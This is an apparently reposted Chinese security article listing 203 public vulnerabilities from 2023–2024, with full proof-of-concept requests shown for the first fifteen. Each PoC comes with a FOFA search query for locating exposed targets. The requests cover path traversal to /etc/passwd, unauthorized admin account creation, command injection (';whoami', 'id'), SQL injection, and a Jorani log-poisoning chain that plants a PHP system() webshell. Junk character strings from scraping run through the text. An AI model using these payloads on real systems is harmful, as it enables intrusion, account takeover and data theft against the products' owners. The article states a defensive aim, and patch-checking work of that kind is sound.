互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
3 z  z* a& o6 m% G$ `* ?9 W3 a
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

& t# B6 f/ {* K漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
5 U% H, N0 ~4 B2 l7 Y7 ]* v
* i: k5 H1 `- P4 M1 N* b( G- |. ^安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

  f  P' E+ G5 C. K# w; }文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
, o" M8 _. ?- t
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


9 J. B3 {8 M9 c" k( t声明

, z7 C1 t$ i! s' `! \3 R" Z为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

! w) b4 e9 K' D. x1 n' y% ~# H' R0 G有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
9 T5 ]: T' t! E, K2 f


目录
0 l* H; K; W3 G
01
  X0 x9 o: E* E
; s* H+ S/ @  s, z( r1. StarRocks MPP数据库未授权访问
. Q- E) r  q$ I1 C2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
% r( z" f( V) U2 M, X4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
' S0 u  s0 A8 H# j- Y& O7 S7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
* K! m" D) P0 ~% e3 {7 p9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
2 [9 \: O! o, N8 `13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
3 n, J) u2 G5 g& d3 `7 o16. 红帆HFOffice医微云SQL注入
1 ^; |8 f; c! E8 T" e$ [17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
& p6 m3 N8 k, A& x0 Z7 S* f5 H( y20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
4 j* @7 [  u6 {: k; Y+ \/ u22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
/ i; ]. Z+ E& b' s  ~+ F24. 用友NC 6.5 accept.jsp任意文件上传
! F5 T3 t3 i/ S+ Z25. 用友NC registerServlet JNDI 远程代码执行
0 N: p% @2 p; t) g/ K26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
0 n/ h' X- b' E28. 用友NC grouptemplet 任意文件上传
% {' k1 y8 W: x$ M: p) j29. 用友NC down/bill SQL注入
6 r' _& \9 j3 l" [1 n30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
! f  g; U: E& G0 Y* o, y5 {32. 用友NC complainbilldetail SQL注入
0 W0 S9 V) p0 P  ^33. 用友NC downTax/download SQL注入
; b0 d# Y# m' [; p2 l  x34. 用友NC warningDetailInfo接口SQL注入
+ t: s9 ~9 I5 q, a! R35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
3 Q# A# Z, b1 R7 X5 N3 |37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
7 L! m- u/ i9 u4 v" ~39. 用友U8 Cloud RegisterServlet SQL注入
; v8 Q: o* j7 T1 X8 k40. 用友U8-Cloud XChangeServlet XXE
1 t5 V" }' h+ V% A41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
" ^/ W0 k3 u. h1 s, }: c42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
3 d: j8 R& n' m45. 用友GRP-U8 ufgovbank XXE
2 U1 @4 @5 B& C9 F% I  C46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
6 z$ ]8 `/ V5 t9 a5 m52. 泛微E-Office json_common.php sql注入
1 ^7 o3 L1 j* Q) d53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
. m/ c  d+ k0 o0 O. S57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
3 t" {+ G" c. O4 s, D( `% Y60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
6 p- _( T* |/ w) ^64. 捷诚管理信息系统CWSFinanceCommon SQL注入
2 i. F/ L: p% ?8 A& I( c3 t. Z$ Y9 }) F65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
' d+ F! m) ]" A' j$ }67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
; Z/ L5 U+ A7 A8 P( }70. 万户ezEIP success 命令执行
0 s( ~! T( F" U" P% e2 n71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
5 D' E" {- V/ X5 c9 b74. 致远M3-server 6_1sp1 反序列化RCE
& M/ |# K$ U) l- @- R75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
( D* p8 ]; y5 z0 [  l, F80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
+ |8 T; X5 ]) M81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
% j  \! h% P# Y# k7 w" w) [5 l6 s/ ~82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
. Q- L5 H8 S) ~. T( C# w8 M83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
+ `& a. y# R  _! c- ~5 Q' p+ Y7 `86. 日本tosei自助洗衣机RCE
6 }9 d) [0 p4 A  t87. 安恒明御安全网关aaa_local_web_preview文件上传
+ L; b' _& u" s/ S% v8 s88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
1 P5 P# c1 t& @: D7 u9 k! V3 B/ J89. 致远互联FE协作办公平台editflow_manager存在sql注入
* D4 ]% d  p& t, M( J+ c90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
+ q- _7 a3 ]2 h. Z7 |* ^! X$ |93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
& W' M# L! T" d* L& R( y/ U- ?, i95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
( B7 E$ t5 w- a# l5 n$ ^" X96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
' B) \/ a* F8 x98. SpiderFlow爬虫平台远程命令执行
. G: ^: H, d) X( d5 E! s/ b0 u  H99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
2 z( L" U7 f& h! h& p) V+ T101. ivanti policy secure-22.6命令注入
/ N7 j3 d! [# f. t6 Z; k102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
8 e/ w6 _, H: K# _106. SpringBlade dict-biz/list SQL 注入
! M* L, t" h# \+ S% d: Y4 ?107. SpringBlade tenant/list SQL 注入
6 x4 T# y  ^7 A/ i$ x  W108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
4 v) u7 j+ p% B9 d9 g- f112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
" C* q4 M1 x- M' ^+ t114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
; d5 O: m6 w4 m6 s0 z116. wordpress js-support-ticket文件上传
- K# V1 C6 q' O- o117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
0 R( l8 ~1 p: O9 o" K$ S  s120. 北京百绰智能S40管理平台导入web.php任意文件上传
# P) Z8 M( q" Y" F( g121. 北京百绰智能S42管理平台userattestation.php任意文件上传
# W# R0 g8 F; v; @122. 北京百绰智能s200管理平台/importexport.php sql注入
- v, c+ K; ^( |8 N( l& z123. Atlassian Confluence 模板注入代码执行
% z% \# j0 L" \5 L, F5 X. a124. 湖南建研工程质量检测系统任意文件上传
' R$ a% W0 p3 D/ J- N125. ConnectWise ScreenConnect身份验证绕过
2 H0 x; c( T4 g$ D- B* \( ?126. Aiohttp 路径遍历
( \" J5 C1 {: l3 F$ s127. 广联达Linkworks DataExchange.ashx XXE
0 g* Y- H3 ^$ D; X; E) ?. l' K128. Adobe ColdFusion 反序列化
6 q4 {- |0 M) k6 `1 {: m129. Adobe ColdFusion 任意文件读取
1 b& q* x# h: O1 k! f9 y3 k+ z130. Laykefu客服系统任意文件上传
$ a. r3 |0 M: D6 w7 }1 P131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
6 C# @" o% }: a0 G133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
5 b/ o4 P- C8 j$ o135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
8 b/ G* {& f1 |% U138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
. r' y. X3 K. `/ Y. N2 K139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
6 V2 |( _5 y) |7 ^" M1 U! `148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
! ^6 `: @7 L4 G9 z4 M; u150. AJ-Report 1.4.0 认证绕过与远程代码执行
) i5 I/ I, T# x* b% P% V8 u151. AJ-Report 1.4.1 pageList sql注入
$ ~6 _) Q  t9 A1 N# W; k* Z  ^152. Progress Kemp LoadMaster 远程命令执行
- M# L: W7 v& f, ?$ X0 ]153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
3 n" [  t6 ^3 x  C156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
: h8 t+ w, g4 v% }6 j158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
% I) E- s( p# w, I; U9 O, j- o8 _161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
* Q" X3 W5 c8 }4 q0 V" {2 e162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
- l3 u" g% d2 L' V7 i7 e' A0 d9 T165. OrangeHRM 3.3.3 SQL 注入
  j& |) T: B5 }% p$ W8 c166. 中成科信票务管理平台SeatMapHandler SQL注入
1 K& o. G& M/ ~) g1 P; d$ ~0 D167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
% y7 C& s$ V6 A169. 宏景EHR downlawbase SQL注入
8 q0 k) c' b, [$ p* z. T7 q0 ]$ `170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
! {" X5 r' M7 Z, p6 x1 Q& e( I3 W$ q173. Check Point 安全网关任意文件读取
; ^8 A5 [# a0 X) }174. 金和OA C6 FileDownLoad.aspx 任意文件读取
- C, @" X. c, k$ d175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; L' K0 U! x" T( V7 ~7 n0 @( a176. 电信网关配置管理系统 rewrite.php 文件上传
1 L* T( Y0 c2 \  G/ I177. H3C路由器敏感信息泄露
2 G& g) d* \% f+ @* B/ |178. H3C校园网自助服务系统-flexfileupload-任意文件上传
) G0 o2 r2 z, i1 c' ~' H: q179. 建文工程管理系统存在任意文件读取
0 }: V# I9 {; K5 E; L4 R6 D180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
& I7 C5 |$ q/ b# s185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
8 @  J/ e$ q9 W189. 蓝网科技临床浏览系统 deleteStudy SQL注入
9 O! G( p, n  j2 t190. 短视频矩阵营销系统 poihuoqu 任意文件读取
$ I; Q  {+ C9 R# \; B+ r5 J191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
4 w4 p7 ]) E0 |/ t+ O$ H" H! H/ Y197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
0 e" @1 g9 J9 L1 h0 {198.  阿里云盘 WebDAV 命令注入
$ ~# @( L2 P! |+ n, S$ P- }1 q1 q199. cockpit系统assetsmanager_upload接口 文件上传
8 v# r; M: @+ ?% w4 b  k- ?200. SeaCMS海洋影视管理系统dmku SQL注入
, C, B+ B" @) H8 l1 v0 f" L- H201. 方正全媒体新闻采编系统 binary SQL注入
. S+ i5 ]" k5 y1 @" z' b. p( G" n202. 微擎系统 AccountEdit任意文件上传
+ R0 N0 i: T/ P4 m6 _: h. b2 ~5 w203. 红海云EHR PtFjk 文件上传
5 C/ N! K$ f  Z7 w3 P4 ^/ v
: w! [: P5 w( @- w0 e% vPOC列表
) y: U- u# H+ R
" ^' m0 c& t+ D% s" F02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
8 l0 Q1 J2 U0 f; {: O" H9 ^% BHost: URL
' g; _3 U1 }) v5 ]

2. Casdoor系统static任意文件读取
5 G3 F/ Y4 u( ~' m3 n0 S! LFOFA ：title="Casdoor"
0 Z0 {! B/ M! e. r% UGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
3 E1 l* _  C6 gHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ ~4 z6 }4 K) y1 dConnection: close
) S/ M0 ?( d4 f& P6 R) n' Z- tAccept: */*
9 T; l0 J( M" j/ e! ~- Z' K) `& _1 iAccept-Language: en
5 L. e- u3 Z# Y; M/ LAccept-Encoding: gzip


( ~- n& k, a5 n- O1 m2 G3. EasyCVR智能边缘网关 userlist 信息泄漏
# C9 W6 s' k8 p; I: sFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


6 n; l8 d% q% p; J4. EasyCVR视频管理平台存在任意用户添加
4 \1 H* B; ~" e6 e6 P6 c8 rFOFA ：title="EasyCVR"
" ?" b! q& C0 d% v' a  C7 q7 [
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
! b0 \3 N$ A6 d4 L8 `% kContent-Type: application/x-www-form-urlencoded; charset=UTF-8
- q+ ~& ]3 \; s8 F# {0 h
. D: v3 O/ J* ]0 d0 m2 T1 c) e- Lname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
$ Q' B" C0 v9 X! ~
  x7 U% V) R( F2 ^
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
; l0 E" e0 P* H& W4 n/ LHost: xx.xx.xx.xx
, u. x  F4 c8 e* C  N4 z
0 a* c) N, X6 s: k2 y0 D. m
6. 深信服 NGAF 任意文件读取
; e8 Q' D7 ~$ r+ E) z4 zFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
6 c4 V' H- N' N7 ^- s' \/ n2 u, u' gHost:


7. 鸿运主动安全监控云平台任意文件下载
3 W' ~& T1 z2 _* cFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
3 s/ t1 E5 s8 \Host:
0 f. G$ A5 I" h2 c: P6 y6 G; r
3 O) L8 u5 }3 q8 E/ s
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
- R& Y1 P( s: ?' l默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
' k# X4 p6 }" |7 Z7 V- l: F  ^Host: x.x.x.x
) j  Z/ O6 ^/ R: ]/ w' yCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
: P3 k$ G' i# E% B- ]User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

% R: `& @# R4 @------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
8 ~' E9 W, l" F4 v  t" J! J
%s
0 s& N% y/ z& }$ R) j# Q& e------WebKitFormBoundaryxbgjoytz
4 F5 i# g/ G; R9 q& j1 pContent-Disposition: form-data; name="wifiRebootrange"

12:00; id;
1 z# d' N8 ~  y6 L4 J------WebKitFormBoundaryxbgjoytz
' h  f2 ]* A8 \5 Z6 h, ~8 YContent-Disposition: form-data; name="wifiRebootendrange"
( h" H8 q; f7 o0 b; w) m  \
3 X/ Y- {- q' z: e8 r%s:
: P5 F/ X" Y" T$ c! }, C------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
7 g0 ?4 R. Q, L, r- w( t+ L% cFOFA：app="Doccms"
* h# n* c0 b1 r" w3 F  uGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

" ^+ i+ B$ q7 Y8 c
' `3 v# X$ x" g( ]payload为下列语句的二次Url编码
) _. a( s( y1 J$ i) d8 v1 q
4 }& C/ n: b5 T1 L) D' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
: L# X: o" |& O' J) g- V
8 M& `. P, R, x2 x6 A10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
& ~. w1 x, o5 w; R
文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
; L$ m$ K- b+ b; r0 o( vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
) [- E+ d' m) }3 J) ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
/ V0 M7 }# s! [Accept-Language: zh-CN,zh;q=0.9
; ^8 T7 I; y3 O6 FConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
  x( E" L: f; A; zContent-Disposition: form-data; name="file"filename="icfitnya.txt"
' \, r& k  C; ~% D' [! i6 ?Content-Type: text/html
1 B% Z) f2 n% e3 U( v0 ^0 c9 ^
) R  V9 E% B) X5 Z2 Jjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

  M3 B7 B3 z/ N1 C7 e! x  {$ e' v
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
! M, e8 ?* Z! z1 Y' w9 BGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
& K% `1 I0 ?: R( f2 B- |# gPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
' F/ k5 ?+ q* o: I( MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" ?  V- d; r" u/ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! x" k1 x8 U- K- m6 R2 k& eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 |6 ~8 f2 v$ D7 x: E3 n- cConnection: close
) \* B/ J7 g9 k- ~: B* i$ t, G
% q; R6 O9 O- O9 i7 ^
$ A/ Z- s2 j9 V8 ^12. Jorani < 1.0.2 远程命令执行
7 j, [/ |- Z" V) p4 ^& f! K8 sFOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
6 D  K! I- g+ q& f! j$ mUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
# S4 }% e4 @7 F0 b$ ^" L+ e, oAccept-Encoding: gzip

1 F1 }4 Y$ ?) Q& e
6 z! U6 _6 M; {  ]- e. }' }1 B响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
3 k/ a% L- T" n* GDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
% L2 \5 N) t2 p+ h8 DLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
) f- K! L3 l: h- E; G1 t2 zPragma: no-cache
Server: Apache/2.4.54 (Debian)
( d% v0 ?9 f& e$ q4 {9 cSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
: s+ N" @% E$ aSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
5 h6 _% L2 @/ \1 A" q8 A% m: sVary: Accept-Encoding


POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
5 y1 |+ i. D- R1 N5 RHost: 192.168.190.30
# I6 Z9 h+ D) |5 b9 A. F8 O4 M/ F# U6 V. \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
  u) t5 D4 t. L4 Q8 fContent-Length: 252
% J! Z% U; l6 {2 p2 c) LContent-Type: application/x-www-form-urlencoded
  H. w0 ^, B2 a3 K& a8 BCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

: V& J$ S, L+ bcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
( M; j6 f8 |( @& R$ M
5 m* Z; D- n, ]8 o$ b

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
% J  j8 P: L1 z# P5 B; H5 f- bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
6 H0 }. `( C. f- w9 f, ?Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
7 B, l/ C0 a4 E- V$ ^0 `9 R9 eX-REQUESTED-WITH: XMLHttpRequest
' l  f0 S* e3 v7 ]/ mAccept-Encoding: gzip
# m! \! E7 P3 U9 s6 Y8 ?+ K1 h

13. 红帆iOffice ioFileDown任意文件读取
2 s7 X1 w" g8 U( TFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
1 p+ V: b; l# ^! o& Q' O" }" A) p% K! zHost: x.x.x.x
0 W) e) F. S( V* B( hUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
% t! t6 e! `0 z% b% I/ U2 HConnection: close
1 r% L" r  w) B! YAccept: */*
Accept-Encoding: gzip


+ u/ N2 I% W3 v+ q7 r# {2 n14. 华夏ERP（jshERP）敏感信息泄露
" d8 q4 k2 l9 v  ^: h' F3 S0 TFOFA：body="jshERP-boot"
) Z' S$ C2 X" ]) a) j2 [  {4 B2 c泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
4 r3 L7 ~+ T7 p9 `  H3 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
& g% @, {6 k  \Connection: close
7 j# U' C# m) U: E  r/ LAccept: */*
Accept-Language: en
Accept-Encoding: gzip

! R- I6 o# \7 v2 B
' j! Q7 @/ ~- t- S2 o. e15. 华夏ERP getAllList信息泄露
1 w% L; S$ c3 c% S# `+ k6 Z' lCVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
& H9 n6 N0 X4 c4 ~' @9 zGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
